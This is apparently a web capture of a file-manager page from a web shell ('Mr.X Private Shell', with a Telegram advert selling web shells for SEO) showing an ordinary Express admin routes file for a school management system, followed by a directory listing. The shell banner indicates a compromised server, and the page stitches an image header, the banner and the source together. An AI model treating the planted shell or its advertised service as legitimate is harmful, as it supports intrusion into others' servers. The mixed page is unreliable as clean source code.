����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import express from "express";
import {
registerAdmin,
loginAdmin,
} from "../controllers/admin/adminController.js";
import {
createUser,
getUserById,
updateUser,
listUsers,
deleteUser,
getStaffPerMonthChart,
getStaffRoleChart,
getStaffStats,
getStudentPerMonthChart,
getStudentCourseChart,
getStudentStats,
} from "../controllers/admin/adminUserController.js";
import {
getAllClasses,
createClass,
getClassById,
updateClass,
deleteClass,
getClassStats,
getClassStatusChart,
getStudentsPerClassChart,
getCourseOptions,
getClassOptions,
getTeacherOptions,
assignTeacherToClass,
assignTeachersToClass,
getClassTeachers,
getClassesByTeacher,
removeTeacherFromClass
} from "../controllers/admin/adminClassController.js";
import {
createCourse,
getAllCourses,
getCourseById,
updateCourse,
deleteCourse,
getCoursesStats,
getCoursesStatusChart
} from "../controllers/admin/adminCourseController.js";
import {changeAdminEmail, changeAdminPassword, getAdminProfile, updateAdminProfile} from '../controllers/admin/adminSettingController.js'
import {
getQueriesForDashboard,
getDashboardCharts,
getDashboardStats,
getRecentActivities,
} from '../controllers/admin/adminDashboardController.js'
import {
createQuiz,
deleteQuiz,
getQuizDashboardCards,
getQuizDetails,
getQuizFilterOptions,
getQuizzes,
updateQuiz,
closeQuiz,
downloadQuizTemplate,
gradeQuizSubmission,
publishQuiz
} from '../controllers/teacher/teacherQuizController.js'
import {
getAllDepartments,
createDepartment,
getDepartmentById,
updateDepartment,
deleteDepartment,
getActiveInactiveChart,
getDepartmentStats,
getMemberDistributionChart,
getDepartmentsOptions
} from "../controllers/admin/adminDepartmentController.js";
import {
getQueries,
getQueryDetails,
replyToQuery,
updateQueryStatus,
deleteQuery,
getQueryStats
} from "../controllers/admin/adminQueryController.js";
import {
createTimetable,
deleteTimetable,
getAllTimetables,
getTimetableById,
updateTimetable,
getTimetableStats,
getTimetableByClassChart,
getTimetableStatusChart,
getTimetableByClass,
getTimetableOptions
} from '../controllers/admin/timetableController.js'
import {
createEvent,
deleteEvent,
getEventById,
getEvents,
updateEvent,
getEventStats
} from '../controllers/admin/eventController.js'
import {
createNotification,
updateNotification,
publishNotification,
archiveNotification,
deleteNotification,
getNotifications,
getNotificationById,
getNotificationStats,
} from '../controllers/notificationController.js'
import {
adminGetAllLeaves,
adminGetPendingLeaves,
adminProcessLeave,
adminGetLeaveDetails,
adminGetUserLeaveQuota,
adminUpdateLeaveQuota,
adminGetAllUsersQuotas,
adminBulkAddLeaveQuota,
adminGetLeaveStats,
adminGetLeaveCalendar,
adminDeleteLeave,
} from "../controllers/admin/adminLeaveController.js";
import {
adminGetAllStaffForAttendance,
adminCheckIn,
adminCheckOut,
adminMarkAbsent,
adminMarkLeave,
adminBulkCheckIn,
adminBulkCheckOut,
adminBulkMarkAbsent,
adminGetAttendanceList,
adminGetAttendanceDetails,
adminUpdateAttendance,
adminDeleteAttendance,
adminGetAttendanceSummary,
adminGetAttendanceStats,
adminGetAttendanceCharts,
adminGetWorkHours,
adminUpdateWorkHours,
adminBulkMarkLeave,
} from "../controllers/admin/adminAttendanceController.js";
import {
adminGetSalariesList,
adminGetSalaryDetails,
adminGetSalarySummary
} from '../controllers/admin/adminSalaryController.js'
import {
bulkUploadQuestions,
createQuestion,
deleteQuestion,
listQuestions,
updateQuestion
} from '../controllers/hr/teacherSurveyQues.js'
import {
deleteExpense,
createExpense,
createRecurringExpenses,
getExpenseCategories,
updateExpense,
getExpenseDetails,
getExpenseStats,
getExpensesList,
processExpense
} from '../controllers/accounts/expenseController.js'
import {
getStatsKPIs,
getPerformanceSummaryForCharts,
getStaffKPIs,
getStaffKPIDetail,
} from '../controllers/hr/performanceController.js'
import {
createContract,
deleteContract,
updateContract,
getContractStats,
getContractsList,
getContractDetails,
getContractExpiryChart,
getContractTypeChart
} from '../controllers/hr/contractController.js'
import {
getReportCards,
getExpensesReport,
getFeeExpenseGraph,
getFeeReport
} from '../controllers/accounts/reportController.js'
import {
addFeeDiscount,
assignFeeStructure,
createFeeStructure,
getStudentOptions,
deleteFeeStructure,
getFeeCollectionChart,
deleteFeePayment,
deleteStudentFee,
getFeeStats,
getFeeStatusChart,
getFeeStructureDetails,
getFeeStructuresList,
getStudentFeeDetails,
getStudentFeesList,
recordFeePayment,
updateFeeStructure
} from '../controllers/accounts/feesController.js'
import {
assignToStudents,
createAssignment,
deleteAssignment,
getAssignmentSubmissions,
getSingleSubmission,
getTeacherAssignments,
gradeSubmission,
publishAssignment,
updateAssignment
} from '../controllers/teacher/teacherAssignmentController.js'
import validateBody from "../middlewares/Validator.js";
import { adminAuth } from "../middlewares/AuthMiddleware.js";
import {
getLoginSchema,
getRegisterSchema,
getUpdateAdminProfileSchema,
createUserSchema,
updateUserSchema,
createClassSchema,
updateClassSchema,
replyQuerySchema,
queryStatusSchema,
// createDepartmentSchema,
// updateDepartmentSchema,
createNotificationSchema,
updateNotificationSchema,
updateQuizSchema,
createQuizSchema
} from "../validations/index.js";
import {
createCourseSchema ,
createDepartmentSchema,
updateCourseSchema,
updateDepartmentSchema,
createContractSchema,
updateContractSchema,
createTeacherQuestionSchema,
updateTeacherQuestionSchema,
createStudentSchema,
updateStudentSchema
} from "../validations/adminValidation.js";
import { uploadFile } from "../config/multer.js";
import { createEventSchema, updateEventSchema, updateTimetableSchema } from "../validations/hrValidations.js";
import { archiveGrade, createGrade, deleteGrade, getClassGrades, getStudentGrades, publishGrade, updateGrade, uploadGradesExcel } from "../controllers/teacher/teacherGradeController.js";
import { exportTimetable, getTodayOverview, getWeeklyTimetable } from "../controllers/teacher/teacherTimetableController.js";
import {
accountantGenerateSalaries,
accountantGetSalariesList,
accountantGetSalaryDetails,
accountantGetSalarySummary,
accountantPaySalary,
accountantUpdateSalary,
accountantDeleteSalary,
accountantDeleteSalaryPayment,
accountantGetPaymentHistory,
getStaffList,
accountantGetPaymentDetails,
generateTransactionId
} from "../controllers/accounts/salaryController.js";
import {
studentsPerClassChart,
assignToClass,
createStudent,
deleteStudent,
getStats,
getStudentDetails,
getStudentList,
promoteStudent,
studentsPerYearChart,
updateStudent
} from "../controllers/hr/studentController.js";
const router = express.Router();
// Admin auth routes (public)
router.post("/register", validateBody(getRegisterSchema), registerAdmin);
router.post("/login", validateBody(getLoginSchema), loginAdmin);
router.get("/profile", adminAuth,getAdminProfile);
router.patch(
"/profile",
adminAuth,
validateBody(getUpdateAdminProfileSchema),
updateAdminProfile
);
router.patch("/change-email", adminAuth, changeAdminEmail);
router.patch("/change-password", adminAuth, changeAdminPassword);
// Protected routes - apply admin auth middleware to all routes below
router.use(adminAuth);
// User management routes
router.post("/create-user", validateBody(createUserSchema), createUser);
router.get("/all-users", listUsers);
router.get("/user/:id", getUserById);
router.put("/update-user/:id", validateBody(updateUserSchema), updateUser);
router.delete("/delete-user/:id", deleteUser);
router.get("/staff-stats", getStaffStats);
router.get("/staff-month-chart", getStaffPerMonthChart);
router.get("/staff-role-chart", getStaffRoleChart);
//Student
router.get("/students", getStudentList);
router.post("/students", validateBody(createStudentSchema), createStudent);
router.get("/students/:id", getStudentDetails);
router.put("/students/:id", validateBody(updateStudentSchema), updateStudent);
router.delete("/students/:id", deleteStudent);
router.post("/students/:id/assign-class", assignToClass);
router.post("/students/:id/promote", promoteStudent);
router.get("/students-stats", getStats);
router.get("/students-class-chart", studentsPerClassChart);
router.get("/students-year-chart", studentsPerYearChart);
// Class management routes
router.get('/classes/stats', getClassStats);
router.get('/classes/students-class', getStudentsPerClassChart);
router.get('/classes-options', getClassOptions);
router.get('/classes/status', getClassStatusChart)
router.get("/classes", getAllClasses);
router.post("/classes", validateBody(createClassSchema), createClass);
router.get("/classes/:id", getClassById);
router.patch("/classes/:id", validateBody(updateClassSchema), updateClass);
router.delete("/classes/:id", deleteClass);
router.get('/course-options', getCourseOptions)
router.get('/teacher-options', getTeacherOptions)
router.get("/class/:classId/teachers", getClassTeachers);
router.post("/classes/:classId/teachers", assignTeacherToClass);
router.post("/class/:classId/teachers/bulk", assignTeachersToClass);
router.delete("/class/:classId/teachers/:teacherId", removeTeacherFromClass);
router.get("/class/by-teacher/:teacherId", getClassesByTeacher);
// Course management routes
router.get('/courses/stats', getCoursesStats);
router.get('/courses/status/chart',getCoursesStatusChart );
router.get("/courses", getAllCourses);
router.post("/courses", validateBody(createCourseSchema), createCourse);
router.get("/courses/:id", getCourseById);
router.patch("/courses/:id",validateBody(updateCourseSchema), updateCourse);
router.delete("/courses/:id", deleteCourse);
// Department management routes
router.get('/departments/stats', getDepartmentStats);
router.get('/departments/status/chart', getActiveInactiveChart);
router.get('/departments/members/chart', getMemberDistributionChart);
router.get("/departments", getAllDepartments);
router.post(
"/departments",
validateBody(createDepartmentSchema),
createDepartment
);
router.get("/departments/:id", getDepartmentById);
router.get("/departments-options", getDepartmentsOptions);
router.put(
"/departments/:id",
validateBody(updateDepartmentSchema),
updateDepartment
);
router.delete("/departments/:id", deleteDepartment);
// Dashboard routes
router.get("/dashboard/queryStats", getQueriesForDashboard);
router.get("/dashboard/stats", getDashboardStats)
router.get("/dashboard/charts", getDashboardCharts);
router.get("/dashboard/recent-activities", getRecentActivities);
// Timetable routes
router.post("/timetables",uploadFile.single('file'), createTimetable);
router.get("/timetables", getAllTimetables);
router.get("/timetables/:id", getTimetableById);
router.patch("/timetables/:id", validateBody(updateTimetableSchema),uploadFile.single('file'), updateTimetable);
router.delete("/timetables/:id", deleteTimetable);
router.get("/timetable-stats", getTimetableStats)
router.get("/timetable-class-chart", getTimetableByClassChart)
router.get("/timetable-status-chart", getTimetableStatusChart)
router.get("/timetable-class-chart", getTimetableByClass)
router.get("/timetables-options", getTimetableOptions)
// Event routes
router.get('/events/stats',getEventStats);
router.post('/events',validateBody(createEventSchema),createEvent);
router.get('/events',getEvents);
router.get('/events/:id',getEventById);
router.patch('/events/:id',validateBody(updateEventSchema),updateEvent);
router.delete('/events/:id',deleteEvent);
// Notification routes
router.post('/notifications', uploadFile.array('file'), validateBody(createNotificationSchema), createNotification);
router.put('/notifications/:id', uploadFile.array('file'),validateBody(updateNotificationSchema), updateNotification);
router.patch('/notifications/:id/publish', publishNotification);
router.patch('/notifications/:id/archive', archiveNotification);
router.delete('/notifications/:id', deleteNotification);
router.get('/notifications', getNotifications);
router.get('/notifications/:id', getNotificationById);
router.get('/notifications-stats', getNotificationStats);
// Leave management
router.get("/leaves", adminGetAllLeaves);
router.get("/leaves/pending", adminGetPendingLeaves);
router.get("/leave/:id", adminGetLeaveDetails);
router.put("/leave/process/:id", adminProcessLeave);
router.delete("/leave/:id", adminDeleteLeave);
// Quota management
router.get("/user-quota/:userId", adminGetUserLeaveQuota);
router.put("/user-quota/:userId", adminUpdateLeaveQuota);
router.get("/all-quotas", adminGetAllUsersQuotas);
router.post("/bulk-quota", adminBulkAddLeaveQuota);
// Reports
router.get("/leave-stats", adminGetLeaveStats);
router.get("/leave-calendar", adminGetLeaveCalendar);
// Attendance management
router.get("/attendance-work-hours", adminGetWorkHours);
router.put("/attendance-work-hours", adminUpdateWorkHours);
router.get("/attendance-staff-list", adminGetAllStaffForAttendance);
router.post("/attendance-check-in", adminCheckIn);
router.post("/attendance-check-out", adminCheckOut);
router.post("/attendance-mark-absent", adminMarkAbsent);
router.post("/attendance-mark-leave", adminMarkLeave);
router.post("/attendance-bulk-mark-leave", adminBulkMarkLeave);
router.post("/attendance-bulk-check-in", adminBulkCheckIn);
router.post("/attendance-bulk-check-out", adminBulkCheckOut);
router.post("/attendance-bulk-mark-absent", adminBulkMarkAbsent);
router.get("/attendance/list", adminGetAttendanceList);
router.get("/attendance-summary", adminGetAttendanceSummary);
router.get("/attendance-stats", adminGetAttendanceStats);
router.get("/attendance-charts", adminGetAttendanceCharts);
router.get("/attendance/:id", adminGetAttendanceDetails);
router.put("/attendance/:id", adminUpdateAttendance);
router.delete("/attendance/:id", adminDeleteAttendance);
// Salary management
router.get("/salary-list", accountantGetSalariesList);
router.get("/salary-summary", accountantGetSalarySummary);
router.get("/salary/:id", accountantGetSalaryDetails);
router.post("/salary/generate", accountantGenerateSalaries);
router.put("/salary/:id", accountantUpdateSalary);
router.post("/salary/pay", accountantPaySalary);
router.delete("/salary/payment/:id", accountantDeleteSalaryPayment)
router.delete("/salary/:id", accountantDeleteSalary)
router.get("/salary-payment-history", accountantGetPaymentHistory)
router.get("/staff-list", getStaffList)
router.get("/salary-payment-history/:id", accountantGetPaymentDetails)
// Teacher Survey Question
router.get('/teacher-survey/questions',listQuestions);
router.post('/teacher-survey/questions',validateBody(createTeacherQuestionSchema), createQuestion);
router.patch('/teacher-survey/questions/:id',validateBody(updateTeacherQuestionSchema), updateQuestion);
router.delete('/teacher-survey/questions/:id', deleteQuestion);
router.post('/teacher-survey/questions/bulk-upload',uploadFile.single('file'), bulkUploadQuestions);
// Performance Management
router.get('/performance/kpis', getStatsKPIs);
router.get('/performance/summary', getPerformanceSummaryForCharts);
router.get('/performance/staff-kpis', getStaffKPIs);
router.get("/performance-staff-kpis/:teacherId", getStaffKPIDetail)
// Expense Management
router.get('/expenses-list', getExpensesList);
router.get('/expenses/:id', getExpenseDetails);
router.get('/expenses-stats', getExpenseStats);
router.get('/expenses-categories', getExpenseCategories);
router.post('/expenses', uploadFile.single('file'), createExpense);
router.post('/expenses-recurring', createRecurringExpenses);
router.post('/expenses/:id/process', processExpense);
router.put('/expenses/:id',uploadFile.single('file'), updateExpense);
router.delete('/expenses/:id', deleteExpense);
// Reports Management
router.get('/reports/fee', getFeeReport);
router.get('/reports/cards-fee', getReportCards);
router.get('/reports/expenses', getExpensesReport);
router.get('/reports/fee-expense-graph', getFeeExpenseGraph);
// Contract Management
router.post('/contracts', uploadFile.single('file'),validateBody(createContractSchema), createContract);
router.get('/contracts', getContractsList);
router.get('/contracts/:id', getContractDetails);
router.put('/contracts/:id', uploadFile.single('file'), validateBody(updateContractSchema), updateContract);
router.delete('/contracts/:id', deleteContract);
router.get('/contracts-stats', getContractStats);
router.get('/contracts-expiry-chart', getContractExpiryChart);
router.get('/contracts-type-chart', getContractTypeChart);
//Fee
router.get("/fee-structures", getFeeStructuresList);
router.post("/fee-structures", createFeeStructure);
router.get("/fee-structures/:id", getFeeStructureDetails);
router.put("/fee-structures/:id", updateFeeStructure);
router.delete("/fee-structures/:id", deleteFeeStructure);
router.get('/fee-stats', getFeeStats)
router.get('/fee-collection-chart', getFeeCollectionChart)
router.get('/fee-status-chart', getFeeStatusChart)
router.delete("/student-fees/:id", deleteStudentFee);
router.delete("/fee-transactions/:id", deleteFeePayment);
router.get('/student-options', getStudentOptions)
router.get("/student-fees", getStudentFeesList);
router.post("/student-fees/assign", assignFeeStructure);
router.get("/student-fees/:id", getStudentFeeDetails);
router.post("/student-fees/payment", recordFeePayment);
router.post("/student-fees/:id/discount", addFeeDiscount);
router.post("/grades/upload", uploadFile.single("file"),uploadGradesExcel);
router.post("/grades",createGrade);
router.put("/grades/:id",updateGrade);
router.patch("/grades/:id/publish",publishGrade);
router.patch("/grades/:id/archive",archiveGrade);
router.get( "/grades/student/:studentId",getStudentGrades);
router.get("/grades/class/:classId",getClassGrades);
router.delete("/grades/:id",deleteGrade);
//Teacher Timetable
router.get("/timetable/today-overview", getTodayOverview);
router.get("/timetable/weekly", getWeeklyTimetable);
router.get("/timetable/export", exportTimetable);
//Query Managment
router.get("/queries", getQueries);
router.get("/queries/:id", getQueryDetails);
router.post("/queries/:id/reply", validateBody(replyQuerySchema), replyToQuery);
router.put(
"/queries/:id/status",
validateBody(queryStatusSchema),
updateQueryStatus
);
router.get('/queries-stats', getQueryStats)
router.delete('/queries/:id', deleteQuery)
router.post("/assignment/",uploadFile.array("files", 20),createAssignment);
router.put("/assignment/:id",uploadFile.array("files", 20),updateAssignment);
router.delete("/assignment/:id", deleteAssignment);
router.patch("/assignment/:id/publish", publishAssignment);
router.patch("/assignment/:id/assign", assignToStudents);
router.get("/assignment", getTeacherAssignments);
router.get("/assignment/:id/submissions", getAssignmentSubmissions);
router.get("/assignment/:assignmentId/submission/:submissionId", getSingleSubmission);
router.patch(
"/assignment/:assignmentId/submission/:submissionId/grade",
gradeSubmission
);
router.get("/quiz/dashboard-cards", getQuizDashboardCards);
router.get("/quiz/filter-options", getQuizFilterOptions);
router.get("/quiz", getQuizzes);
router.post("/quiz",uploadFile.single("file"), validateBody(createQuizSchema),createQuiz);
router.get("/quiz/:id", getQuizDetails);
router.put("/quiz/:id", validateBody(updateQuizSchema), updateQuiz);
router.delete("/quiz/:id", deleteQuiz);
router.get('/template', downloadQuizTemplate);
router.patch('/publish/:id', publishQuiz);
router.patch('/close/:id', closeQuiz);
router.patch('/grade/:quizId/submissions/:submissionId', gradeQuizSubmission);
export default router;
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| accountsRoutes.js | File | 5.47 KB | 0644 |
|
| adminRoutes.js | File | 19.54 KB | 0644 |
|
| health.js | File | 255 B | 0644 |
|
| hrRoutes.js | File | 15.27 KB | 0644 |
|
| index.js | File | 573 B | 0644 |
|
| studentRoutes.js | File | 4.82 KB | 0644 |
|
| teacherRoutes.js | File | 8.8 KB | 0644 |
|
| userRoutes.js | File | 794 B | 0644 |
|